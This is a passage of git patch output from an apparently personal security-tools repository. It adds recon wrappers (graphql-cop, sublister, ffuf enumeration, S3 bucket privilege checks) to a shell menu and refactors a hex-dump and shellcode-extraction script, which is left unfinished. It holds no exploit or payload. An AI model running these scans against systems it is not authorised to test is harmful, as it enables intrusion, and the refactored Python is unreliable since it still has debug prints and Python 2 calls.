echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From 1939490c86d223d7d2fdeffe0efe7febe726c599 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 25 Mar 2022 14:42:00 +0000 Subject: [PATCH 108/289] [s0mbra] added graphql-cop --- s0mbra.sh | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 7f1b4f3..4469994 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -514,6 +514,12 @@ jadx() { /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } +gql() { + clear + echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CLR" + python3 /Users/bl4de/hacking/tools/graphql-cop/graphql-cop.py -t $1 +} + apk() { clear echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" @@ -639,6 +645,9 @@ case "$cmd" in snyktest) snyktest ;; + gql) + gql + ;; dex_to_jar) dex_to_jar "$2" ;; @@ -708,6 +717,7 @@ case "$cmd" in echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "\t$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" + echo -e "\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" From 489a0e5c40623217c184cfcafac1ab71641fc25b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 25 Mar 2022 14:44:10 +0000 Subject: [PATCH 109/289] [s0mbra] graphql-cop - small refactoring --- s0mbra.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4469994..bbce57c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -516,8 +516,9 @@ jadx() { gql() { clear - echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CLR" + echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CYAN" python3 /Users/bl4de/hacking/tools/graphql-cop/graphql-cop.py -t $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" } apk() { @@ -646,7 +647,7 @@ case "$cmd" in snyktest ;; gql) - gql + gql "$2" ;; dex_to_jar) dex_to_jar "$2" From 4886b7db33b0fc9d659c24e7ed8be67b635424cc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 26 Mar 2022 06:38:12 +0000 Subject: [PATCH 110/289] [s0mbra] objdump - refactoring for macOS --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index bbce57c..bdfd35a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -504,7 +504,7 @@ unjar() { disass() { clear echo -e "$BLUE[s0mbra] Disassembling $1, saving to 1.asm..." - objdump -d -x86-asm-syntax=intel $1 > 1.asm + objdump -d --arch-name=x86-64 -M intel $1 > 1.asm echo -e "\n$BLUE[s0mbra] Done." } From 5c464d31657dff6bbeb6d023fc59bedfde7e3906 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 26 Mar 2022 20:35:42 +0000 Subject: [PATCH 111/289] [hexview] Python 2 -> Python 3 refactoring (in progress) --- hexview/hexview.py | 494 +++++++++++++++++++++++++-------------------- 1 file changed, 275 insertions(+), 219 deletions(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 2a0e7a8..2b23b41 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 """ based on: "Tutorial: Making your own Hex Dump Program" by DrapsTV https://www.youtube.com/watch?v=B8nRrw_M_nk&index=1&list=WL @@ -9,178 +9,180 @@ import itertools import binascii -ASCII = 'ascii' -CTRL = 'ctrl' -OTHER = 'other' +ASCII = "ascii" +CTRL = "ctrl" +OTHER = "other" # https://en.wikipedia.org/wiki/List_of_file_signatures FILE_SIGNATURES = { - 'a1b2c3d4': 'Libpcap File Format', + "a1b2c3d4": "Libpcap File Format", # '47': 'MPEG Transport Stream (MPEG-2 Part 1)', - 'd4c3b2a1': 'Libpcap File Format', - '0a0d0d0a': 'PCAP Next Generation Dump File Format (pcapng)', - 'edabeedb': 'RedHat Package Manager (RPM) package', - '53503031': 'Amazon Kindle Update Package', - '00': 'IBM Storyboard bitmap file; Windows Program Information File; Mac Stuffit Self-Extracting Archive; IRIS OCR data file', - 'BEBAFECA': 'Palm Desktop Calendar Archive', - '00014244': 'Palm Desktop To Do Archive', - '00014454': 'Palm Desktop Calendar Archive', - '00010000': 'Palm Desktop Data File (Access format)', - '00000100': 'Computer icon encoded in ICO file format', - '667479703367': '3rd Generation Partnership Project 3GPP and 3GPP2 multimedia files', - '1FA0': 'Compressed file (often tar zip) using LZH algorithm', - '425A68': 'Compressed file using Bzip2 algorithm', - '474946383761': 'Image file encoded in the Graphics Interchange Format (GIF) - GIF87a', - '474946383961': 'Image file encoded in the Graphics Interchange Format (GIF) - GIF89a', - 'FFD8FFE00010': 'JPEG raw or in the JFIF or Exif file format', - '49492A00': 'Tagged Image File Format (tiff, Little Endian format)', - '4D4D002A': 'Tagged Image File Format (tiff, Big Endian)', - '49492A0010000000': 'Canon RAW Format Version 2', - '4352': 'Canon RAW format is based on the TIFF file format', - '802A5FD7': 'Kodak Cineon image', - '524E4301': 'Compressed file using Rob Northen Compression version 1', - '524E4302': 'Compressed file using Rob Northen Compression version 2', - '53445058': 'SMPTE DPX image (big endian format)', - '58504453': 'SMPTE DPX image (little endian format)', - '762F3101': 'OpenEXR image', - '425047FB': 'Better Portable Graphics', - 'FFD8FFDB': 'JPEG raw or in the JFIF or Exif file format', - 'FFD8FFE000104A4649460001': 'JPEG raw or in the JFIF or Exif file format', - 'FFD8FFE1': 'JPEG raw or in the JFIF or Exif file format', - '464F52': 'IFF Interleaved Bitmap Image', - '4C424D': 'IFF Interleaved Bitmap Image', - '464F52': 'IFF 8-Bit Sampled Voice', - '535658': 'IFF 8-Bit Sampled Voice', - '464F524D': 'IFF (misc filetypes)', - '4C5A4950': 'lzip compressed file', - '4D5A': 'DOS MZ executable file format and its descendants (including NE and PE)', - '504B0304': 'zip file format and formats based on it, such as JAR, ODF, OOXML', - '504B0506': 'zip file format and formats based on it, such as JAR, ODF, OOXML (empty archive)', - '504B0708': 'zip file format and formats based on it, such as JAR, ODF, OOXML (spanned archive)', - '526172211A0700': 'RAR archive version 1.50 onwards', - '526172211A070100': 'RAR archive version 5.0 onwards', - '7F454C46': 'ELF Executable and Linkable Format', - '89504E470D0A1A0A': 'Image encoded in the Portable Network Graphics format (PNG)', - 'CAFEBABE': 'Java class file, Mach-O Fat Binary', - 'EFBBBF': 'UTF-8 encoded Unicode byte order mark, commonly seen in text files', - 'FEEDFACE': 'Mach-O binary (32-bit)', - 'FEEDFACF': 'Mach-O binary (64-bit)', - 'CEFAEDFE': 'Mach-O binary (reverse byte ordering scheme, 32-bit)', - 'CFFAEDFE': 'Mach-O binary (reverse byte ordering scheme, 64-bit)', - 'FFFE': 'Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format', - 'FFFE0000': 'Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format', - '25215053': 'PostScript document', - '25504446': 'PDF document', - '3026B2758E66CF11': 'Advanced Systems Format (asf, wma, wmv)', - 'A6D900AA0062CE6C': 'Advanced Systems Format (asf, wma, wmv)', - '2453444930303031': 'System Deployment Image, a disk image format used by Microsoft', - '4F676753': 'Ogg, an open source media container format', - '38425053': 'Photoshop Document file, Adobe Photoshop native file format', - 'FFFB': 'MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (whichs appended at the end of the file)', - '494433': 'MP3 file with an ID3v2 container', - '424D': 'BMP file, a bitmap format used mostly in the Windows world', - '4344303031': 'ISO9660 CD/DVD image file', - '53494D504C452020': 'Flexible Image Transport System (FITS)', - '664C6143': 'Free Lossless Audio Codec (flac)', - '4D546864': 'MIDI sound file', - 'D0CF11E0A1B11AE1': 'Compound File Binary Format, a container format used for document by older versions of Microsoft Office', - '6465780A30333500': 'Dalvik Executable', - '4B444D': 'VMDK files', - '43723234': 'Google Chrome extension or packaged app', - '41474433': 'FreeHand 8 document', - '05070000424F424F': 'AppleWorks 5 document', - '0607E100424F424F': 'AppleWorks 6 document', - '455202000000': 'Roxio Toast disc image file, also some .dmg-files begin with same bytes', - '8B455202000000': 'Roxio Toast disc image file, also some .dmg-files begin with same bytes', - '7801730D626260': 'Apple Disk Image file', - '78617221': 'eXtensible ARchive format', - '504D4F43434D4F43': 'Windows Files And Settings Transfer Repository', - '4E45531A': 'Nintendo Entertainment System ROM file', - '7573746172003030': 'tar archive', - '7573746172202000': 'tar archive', - '746F7833': 'Open source portable voxel file', - '4D4C5649': 'Magic Lantern Video file', - '44434D0150413330': 'Windows Update Binary Delta Compression', - '377ABCAF271C': '7-Zip File Format', - '1F8B': 'GZIP file', - 'FD377A585A0000': 'XZ compression utility using LZMA/LZMA2 compression', - '04224D18': 'LZ4 Frame Format', - '4D534346': 'Microsoft Cabinet file', - '535A444488F02733': 'Microsoft compressed file in Quantum format', - '464C4946': 'Free Lossless Image Format', - '1A45DFA3': 'Matroska media container, including WebM', - '3082': 'DER encoded X.509 certificate', - '4449434D': 'DICOM Medical File Format', - '774F4646': 'WOFF File Format 1.0', - '774F4632': 'WOFF File Format 2.0', - '3c3f786d6c20': 'eXtensible Markup Language (xml) when using the ASCII character encoding', - '0061736d': 'WebAssembly binary format', - 'cf8401': 'Lepton compressed JPEG image', - '435753': 'flash .swf', - '465753': 'flash .swf', - '213C617263683E': 'linux deb file', - '52494646': 'Google WebP image file', - '27051956': 'U-Boot / uImage. Das U-Boot Universal Boot Loader', - '7B5C72746631': 'Rich Text Format', - '54415045': 'Microsoft Tape Format', - '000001BA': 'MPEG Program Stream (MPEG-1 Part 1 (essentially identical) and MPEG-2 Part 1)', - '000001B3': 'MPEG Program Stream; MPEG Transport Stream; MPEG-1 video and MPEG-2 video (MPEG-1 Part 2 and MPEG-2 Part 2)', - '7801': 'zlib (No Compression/low)', - '789c': 'zlib (Default Compression)', - '78da': 'zlib (Best Compression)', - '1F8B0800': 'Minecraft Level Data File (NBT)', - '62767832': 'LZFSE - Lempel-Ziv style data compression algorithm using Finite State Entropy coding. (bvx2)', - '4F5243': 'Apache ORC (Optimized Row Columnar) file format', - '4F626A01': 'Apache Avro binary file format', - '53455136': 'RCFile columnar file format', - '65877856': 'PhotoCap Object Templates', - '5555aaaa': 'PhotoCap Vector', - '785634': 'PhotoCap Template', - '50415231': 'Apache Parquet columnar file format', - '454D5832': 'Emulator Emaxsynth samples', - '454D5533': 'Emulator III synth samples', - '1B4C7561': 'Lua bytecode' + "d4c3b2a1": "Libpcap File Format", + "0a0d0d0a": "PCAP Next Generation Dump File Format (pcapng)", + "edabeedb": "RedHat Package Manager (RPM) package", + "53503031": "Amazon Kindle Update Package", + "00": "IBM Storyboard bitmap file; Windows Program Information File; Mac Stuffit Self-Extracting Archive; IRIS OCR data file", + "BEBAFECA": "Palm Desktop Calendar Archive", + "00014244": "Palm Desktop To Do Archive", + "00014454": "Palm Desktop Calendar Archive", + "00010000": "Palm Desktop Data File (Access format)", + "00000100": "Computer icon encoded in ICO file format", + "667479703367": "3rd Generation Partnership Project 3GPP and 3GPP2 multimedia files", + "1FA0": "Compressed file (often tar zip) using LZH algorithm", + "425A68": "Compressed file using Bzip2 algorithm", + "474946383761": "Image file encoded in the Graphics Interchange Format (GIF) - GIF87a", + "474946383961": "Image file encoded in the Graphics Interchange Format (GIF) - GIF89a", + "FFD8FFE00010": "JPEG raw or in the JFIF or Exif file format", + "49492A00": "Tagged Image File Format (tiff, Little Endian format)", + "4D4D002A": "Tagged Image File Format (tiff, Big Endian)", + "49492A0010000000": "Canon RAW Format Version 2", + "4352": "Canon RAW format is based on the TIFF file format", + "802A5FD7": "Kodak Cineon image", + "524E4301": "Compressed file using Rob Northen Compression version 1", + "524E4302": "Compressed file using Rob Northen Compression version 2", + "53445058": "SMPTE DPX image (big endian format)", + "58504453": "SMPTE DPX image (little endian format)", + "762F3101": "OpenEXR image", + "425047FB": "Better Portable Graphics", + "FFD8FFDB": "JPEG raw or in the JFIF or Exif file format", + "FFD8FFE000104A4649460001": "JPEG raw or in the JFIF or Exif file format", + "FFD8FFE1": "JPEG raw or in the JFIF or Exif file format", + "464F52": "IFF Interleaved Bitmap Image", + "4C424D": "IFF Interleaved Bitmap Image", + "464F52": "IFF 8-Bit Sampled Voice", + "535658": "IFF 8-Bit Sampled Voice", + "464F524D": "IFF (misc filetypes)", + "4C5A4950": "lzip compressed file", + "4D5A": "DOS MZ executable file format and its descendants (including NE and PE)", + "504B0304": "zip file format and formats based on it, such as JAR, ODF, OOXML", + "504B0506": "zip file format and formats based on it, such as JAR, ODF, OOXML (empty archive)", + "504B0708": "zip file format and formats based on it, such as JAR, ODF, OOXML (spanned archive)", + "526172211A0700": "RAR archive version 1.50 onwards", + "526172211A070100": "RAR archive version 5.0 onwards", + "7F454C46": "ELF Executable and Linkable Format", + "89504E470D0A1A0A": "Image encoded in the Portable Network Graphics format (PNG)", + "CAFEBABE": "Java class file, Mach-O Fat Binary", + "EFBBBF": "UTF-8 encoded Unicode byte order mark, commonly seen in text files", + "FEEDFACE": "Mach-O binary (32-bit)", + "FEEDFACF": "Mach-O binary (64-bit)", + "CEFAEDFE": "Mach-O binary (reverse byte ordering scheme, 32-bit)", + "CFFAEDFE": "Mach-O binary (reverse byte ordering scheme, 64-bit)", + "FFFE": "Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format", + "FFFE0000": "Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format", + "25215053": "PostScript document", + "25504446": "PDF document", + "3026B2758E66CF11": "Advanced Systems Format (asf, wma, wmv)", + "A6D900AA0062CE6C": "Advanced Systems Format (asf, wma, wmv)", + "2453444930303031": "System Deployment Image, a disk image format used by Microsoft", + "4F676753": "Ogg, an open source media container format", + "38425053": "Photoshop Document file, Adobe Photoshop native file format", + "FFFB": "MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (whichs appended at the end of the file)", + "494433": "MP3 file with an ID3v2 container", + "424D": "BMP file, a bitmap format used mostly in the Windows world", + "4344303031": "ISO9660 CD/DVD image file", + "53494D504C452020": "Flexible Image Transport System (FITS)", + "664C6143": "Free Lossless Audio Codec (flac)", + "4D546864": "MIDI sound file", + "D0CF11E0A1B11AE1": "Compound File Binary Format, a container format used for document by older versions of Microsoft Office", + "6465780A30333500": "Dalvik Executable", + "4B444D": "VMDK files", + "43723234": "Google Chrome extension or packaged app", + "41474433": "FreeHand 8 document", + "05070000424F424F": "AppleWorks 5 document", + "0607E100424F424F": "AppleWorks 6 document", + "455202000000": "Roxio Toast disc image file, also some .dmg-files begin with same bytes", + "8B455202000000": "Roxio Toast disc image file, also some .dmg-files begin with same bytes", + "7801730D626260": "Apple Disk Image file", + "78617221": "eXtensible ARchive format", + "504D4F43434D4F43": "Windows Files And Settings Transfer Repository", + "4E45531A": "Nintendo Entertainment System ROM file", + "7573746172003030": "tar archive", + "7573746172202000": "tar archive", + "746F7833": "Open source portable voxel file", + "4D4C5649": "Magic Lantern Video file", + "44434D0150413330": "Windows Update Binary Delta Compression", + "377ABCAF271C": "7-Zip File Format", + "1F8B": "GZIP file", + "FD377A585A0000": "XZ compression utility using LZMA/LZMA2 compression", + "04224D18": "LZ4 Frame Format", + "4D534346": "Microsoft Cabinet file", + "535A444488F02733": "Microsoft compressed file in Quantum format", + "464C4946": "Free Lossless Image Format", + "1A45DFA3": "Matroska media container, including WebM", + "3082": "DER encoded X.509 certificate", + "4449434D": "DICOM Medical File Format", + "774F4646": "WOFF File Format 1.0", + "774F4632": "WOFF File Format 2.0", + "3c3f786d6c20": "eXtensible Markup Language (xml) when using the ASCII character encoding", + "0061736d": "WebAssembly binary format", + "cf8401": "Lepton compressed JPEG image", + "435753": "flash .swf", + "465753": "flash .swf", + "213C617263683E": "linux deb file", + "52494646": "Google WebP image file", + "27051956": "U-Boot / uImage. Das U-Boot Universal Boot Loader", + "7B5C72746631": "Rich Text Format", + "54415045": "Microsoft Tape Format", + "000001BA": "MPEG Program Stream (MPEG-1 Part 1 (essentially identical) and MPEG-2 Part 1)", + "000001B3": "MPEG Program Stream; MPEG Transport Stream; MPEG-1 video and MPEG-2 video (MPEG-1 Part 2 and MPEG-2 Part 2)", + "7801": "zlib (No Compression/low)", + "789c": "zlib (Default Compression)", + "78da": "zlib (Best Compression)", + "1F8B0800": "Minecraft Level Data File (NBT)", + "62767832": "LZFSE - Lempel-Ziv style data compression algorithm using Finite State Entropy coding. (bvx2)", + "4F5243": "Apache ORC (Optimized Row Columnar) file format", + "4F626A01": "Apache Avro binary file format", + "53455136": "RCFile columnar file format", + "65877856": "PhotoCap Object Templates", + "5555aaaa": "PhotoCap Vector", + "785634": "PhotoCap Template", + "50415231": "Apache Parquet columnar file format", + "454D5832": "Emulator Emaxsynth samples", + "454D5533": "Emulator III synth samples", + "1B4C7561": "Lua bytecode", } COLORS = { - "black": '\33[0;30m', - "white": '\33[0;37m', - "red": '\33[0;31m', - "green": '\33[0;32m', - "green_bg": '\33[1;32m\33[41m', - "yellow": '\33[0;33m', - "yellow_bg": '\33[1;33m\33[41m', - "blue": '\33[0;34m', - "magenta": '\33[0;35m', - "magenta_bg": '\33[1;35m\33[41m', - "cyan": '\33[0;36m', - "grey": '\33[0;90m', - "lightgrey": '\33[0;37m', - "lightblue": '\33[0;94m' + "black": "\33[0;30m", + "white": "\33[0;37m", + "red": "\33[0;31m", + "green": "\33[0;32m", + "green_bg": "\33[1;32m\33[41m", + "yellow": "\33[0;33m", + "yellow_bg": "\33[1;33m\33[41m", + "blue": "\33[0;34m", + "magenta": "\33[0;35m", + "magenta_bg": "\33[1;35m\33[41m", + "cyan": "\33[0;36m", + "grey": "\33[0;90m", + "lightgrey": "\33[0;37m", + "lightblue": "\33[0;94m", } # some globals upper_case = False - def file_type(file_signature): """ Recognize file type based on file 'magic numbers' """ file_signature = binascii.hexlify(file_signature).upper() - recognized = 'ASCII text (no file signature found)' + recognized = "ASCII text (no file signature found)" for signature in FILE_SIGNATURES: - if file_signature.startswith(signature.upper()): + if file_signature.decode('utf-8').startswith(signature.upper()): recognized = FILE_SIGNATURES[signature] - return "{}\n[+] File type: {}{}{}".format(COLORS['cyan'], COLORS['yellow'], recognized, COLORS['white']) + return "{}\n[+] File type: {}{}{}".format( + COLORS["cyan"], COLORS["yellow"], recognized, COLORS["white"] + ) def char_type(c): """ Returns char type depends on its ASCII code """ + print(c) if 32 < ord(c) < 128: return ASCII if ord(c) <= 16: @@ -193,45 +195,46 @@ def make_color(c, df_c=False): Formats color for byte depends on if it's printable ASCII """ global upper_case - + retval = "" # for file diff - if characters are different, use bg color for char: diff = (c != df_c) if df_c != False else False # printable ASCII: if char_type(c) == ASCII: if diff: retval = "{}{:02X}{}".format( - COLORS['green_bg'], ord(c), COLORS['white']) + COLORS["green_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['green'], ord(c), COLORS['white']) + COLORS["green"], ord(c), COLORS["white"]) if char_type(c) == OTHER: if diff: retval = "{}{:02X}{}".format( - COLORS['yellow_bg'], ord(c), COLORS['white']) + COLORS["yellow_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['yellow'], ord(c), COLORS['white']) + COLORS["yellow"], ord(c), COLORS["white"]) if char_type(c) == CTRL: if diff: retval = "{}{:02X}{}".format( - COLORS['magenta_bg'], ord(c), COLORS['white']) + COLORS["magenta_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['magenta'], ord(c), COLORS['white']) + COLORS["magenta"], ord(c), COLORS["white"]) - return (retval if upper_case else retval.lower()) + return retval if upper_case else retval.lower() def format_text(c): """ Formats color for character depends on if it's printable ASCII """ + retval = "" if char_type(c) == ASCII: - retval = "{}{}{}".format(COLORS['lightblue'], c, COLORS['white']) + retval = "{}{}{}".format(COLORS["lightblue"], c, COLORS["white"]) if char_type(c) == CTRL: - retval = "{}.{}".format(COLORS['magenta'], COLORS['white']) + retval = "{}.{}".format(COLORS["magenta"], COLORS["white"]) if char_type(c) == OTHER: - retval = "{}.{}".format(COLORS['yellow'], COLORS['white']) + retval = "{}.{}".format(COLORS["yellow"], COLORS["white"]) return retval @@ -241,14 +244,25 @@ def format_chunk(chunk, start, stop, df_chunk=False, dec=False): """ if dec: if df_chunk: - return " ".join("{}:{}{:#04}{} ".format(make_color(c, df_c), COLORS['grey'], - ord(c), COLORS['white']) for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop])) - return " ".join("{}:{}{:#04}{} ".format(make_color(c), COLORS['grey'], - ord(c), COLORS['white']) for c in chunk[start:stop]) + return " ".join( + "{}:{}{:#04}{} ".format( + make_color(c, df_c), COLORS["grey"], ord( + c), COLORS["white"] + ) + for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) + ) + return " ".join( + "{}:{}{:#04}{} ".format( + make_color(c), COLORS["grey"], ord(c), COLORS["white"] + ) + for c in chunk[start:stop] + ) else: if df_chunk: - return " ".join("{} ".format(make_color(c, df_c)) - for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop])) + return " ".join( + "{} ".format(make_color(c, df_c)) + for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) + ) return " ".join("{} ".format(make_color(c)) for c in chunk[start:stop]) @@ -261,14 +275,27 @@ def extract_shellcode(start, end, read_binary): s = read_binary.read(end - start) for c in s: if ord(c) == 0: - shellcode = shellcode + "{}".format(COLORS['red']) + str( - hex(ord(c))).replace("0x", "\\x") + "{}".format(COLORS['white']) + shellcode = ( + shellcode + + "{}".format(COLORS["red"]) + + str(hex(ord(c))).replace("0x", "\\x") + + "{}".format(COLORS["white"]) + ) else: - shellcode = shellcode + "{}".format(COLORS['yellow']) + str( - hex(ord(c))).replace("0x", "\\x") + "{}".format(COLORS['white']) - print("\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format(COLORS['cyan'], start, end, COLORS['white'])) + shellcode = ( + shellcode + + "{}".format(COLORS["yellow"]) + + str(hex(ord(c))).replace("0x", "\\x") + + "{}".format(COLORS["white"]) + ) + print( + "\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format( + COLORS["cyan"], start, end, COLORS["white"] + ) + ) print("\n{}\n".format(shellcode)) + if __name__ == "__main__": """ main program routine @@ -279,55 +306,70 @@ def extract_shellcode(start, end, read_binary): parser = argparse.ArgumentParser() parser.add_argument("file", help="Specify a file") parser.add_argument( - "-d", "--decimal", help="Display DEC values with HEX", action="store_true") - parser.add_argument( - "-s", "--start", help="Start byte") - parser.add_argument( - "-e", "--end", help="End byte") + "-d", "--decimal", help="Display DEC values with HEX", action="store_true" + ) + parser.add_argument("-s", "--start", help="Start byte") + parser.add_argument("-e", "--end", help="End byte") + parser.add_argument("-D", "--diff", help="Perform diff with FILENAME") parser.add_argument( - "-D", "--diff", help="Perform diff with FILENAME") + "-S", + "--shellcode", + help="Extract shellcode (-s and -e has to be passed)", + action="store_true", + ) parser.add_argument( - "-S", "--shellcode", help="Extract shellcode (-s and -e has to be passed)", action="store_true") - parser.add_argument( - "-u", "--uppercase", help="Display output using uppercase characters", action="store_true") - - args = parser.parse_args() + "-u", + "--uppercase", + help="Display output using uppercase characters", + action="store_true", + ) + + arguments = parser.parse_args() + print(arguments) b = 16 + diff_file = None # for -D / --diff - second file has to be opened # https://github.com/bl4de/security-tools/issues/22 [RESOLVED] - if args.diff: - diff_file = open(args.diff, 'rb') + if arguments.diff: + diff_file = open(arguments.diff, "rb") - if args.uppercase: + if arguments.uppercase: upper_case = True - - if args.file: - # read first 8 bytes to recognize file type - print(file_type(open(args.file, 'rb').read(8))) - with open(args.file, 'rb') as infile: - if args.start > -1 and args.end and (int(args.start, 16) > -1 and int(args.end, 16) > int(args.start, 16)): - __FROM = int(args.start, 16) - __TO = int(args.end, 16) + if arguments.file: + # read first 8 bytes to recognize file type + print(file_type(open(arguments.file, "rb").read(8))) + + with open(arguments.file, "rb") as infile: + if ( + arguments.start is not None and int(arguments.start) > -1 + and arguments.end is not None and (int(arguments.end) > 1) + and ( + int(arguments.start, 16) > - + 1 and int(arguments.end, 16) > int(arguments.start, 16) + ) + ): + __FROM = int(arguments.start, 16) + __TO = int(arguments.end, 16) else: - __TO = os.path.getsize(args.file) + __TO = os.path.getsize(arguments.file) - if args.shellcode and __FROM > -1 and __TO: + if arguments.shellcode and __FROM > -1 and __TO: extract_shellcode(__FROM, __TO, infile) infile.seek(__FROM) - if args.diff: + if arguments.diff is not None: diff_file.seek(__FROM) offset = __FROM - print("{}[+] Hex dump: {}\n".format(COLORS['cyan'], COLORS['white'])) + print("{}[+] Hex dump: {}\n".format(COLORS["cyan"], COLORS["white"])) while offset < __TO: chunk = infile.read(b) - if args.diff: + if arguments.diff is not None: df_chunk = diff_file.read(b) else: df_chunk = False @@ -336,47 +378,61 @@ def extract_shellcode(start, end, read_binary): break text = str(chunk) - text = ''.join([format_text(i) for i in text]) + text = "".join([format_text(i) for i in text]) - output = "{}{:#08x}{}".format( - COLORS['cyan'], offset, COLORS['white']) + ": " + output = ( + "{}{:#08x}{}".format( + COLORS["cyan"], offset, COLORS["white"]) + ": " + ) output += format_chunk(chunk, 0, 4, - df_chunk, args.decimal) + " " + df_chunk, arguments.decimal) + " " output += format_chunk(chunk, 4, 8, - df_chunk, args.decimal) + " " + df_chunk, arguments.decimal) + " " output += format_chunk(chunk, 8, 12, - df_chunk, args.decimal) + " " - output += format_chunk(chunk, 12, 16, df_chunk, args.decimal) + df_chunk, arguments.decimal) + " " + output += format_chunk(chunk, 12, 16, + df_chunk, arguments.decimal) - if args.diff: + if arguments.diff is not None: df_text = str(df_chunk) - df_text = ''.join([format_text(i) for i in df_text]) - - df_output = " " + \ - format_chunk(df_chunk, 0, 4, chunk, - args.decimal) + " " - df_output += format_chunk(df_chunk, - 4, 8, chunk, args.decimal) + " " - df_output += format_chunk(df_chunk, - 8, 12, chunk, args.decimal) + " " - df_output += format_chunk(df_chunk, 12, - 16, chunk, args.decimal) + df_text + df_text = "".join([format_text(i) for i in df_text]) + + df_output = ( + " " + + format_chunk(df_chunk, 0, 4, chunk, + arguments.decimal) + + " " + ) + df_output += ( + format_chunk(df_chunk, 4, 8, chunk, + arguments.decimal) + " " + ) + df_output += ( + format_chunk(df_chunk, 8, 12, chunk, + arguments.decimal) + " " + ) + df_output += ( + format_chunk(df_chunk, 12, 16, chunk, + arguments.decimal) + df_text + ) if len(chunk) % b != 0: - if args.decimal: + if arguments.decimal: output += " " * (((b * 2) - 4 - len(chunk))) + text - if args.diff: - df_output += " " * \ + if arguments.diff: + df_output += ( + " " * (((b * 2) - 4 - len(df_chunk))) + df_text + ) else: output += " " * (b + 4 - len(chunk)) + text - if args.diff: + if arguments.diff: df_output += " " * \ (b + 4 - len(df_chunk)) + df_text else: output += " " + text - if args.diff: + if arguments.diff: output += df_output print(output) From 3ca0862e1c58dbbcad8a350175a9d94bf442d387 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 29 Mar 2022 08:55:35 +0100 Subject: [PATCH 112/289] [hexview] 'TypeError: ord() expected string of length 1, but int found' - in progress --- hexview/hexview.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 2b23b41..3a146d5 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -182,7 +182,6 @@ def char_type(c): """ Returns char type depends on its ASCII code """ - print(c) if 32 < ord(c) < 128: return ASCII if ord(c) <= 16: @@ -263,6 +262,7 @@ def format_chunk(chunk, start, stop, df_chunk=False, dec=False): "{} ".format(make_color(c, df_c)) for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) ) + print("TU: ", [c for c in chunk[start:stop]]) return " ".join("{} ".format(make_color(c)) for c in chunk[start:stop]) From 0456a4471d461ab35073aebcc13f5ebece45fc04 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 31 Mar 2022 12:17:02 +0100 Subject: [PATCH 113/289] [s0mbra] lookaround - added sublister --- s0mbra.sh | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index bdfd35a..cadb294 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -204,18 +204,30 @@ lookaround() { START_TIME=$(date) echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" + # sublister + echo -e "\n$GREEN--> sublister$CLR\n" + for domain in $(cat scope); do + sublister -v -d $domain -o 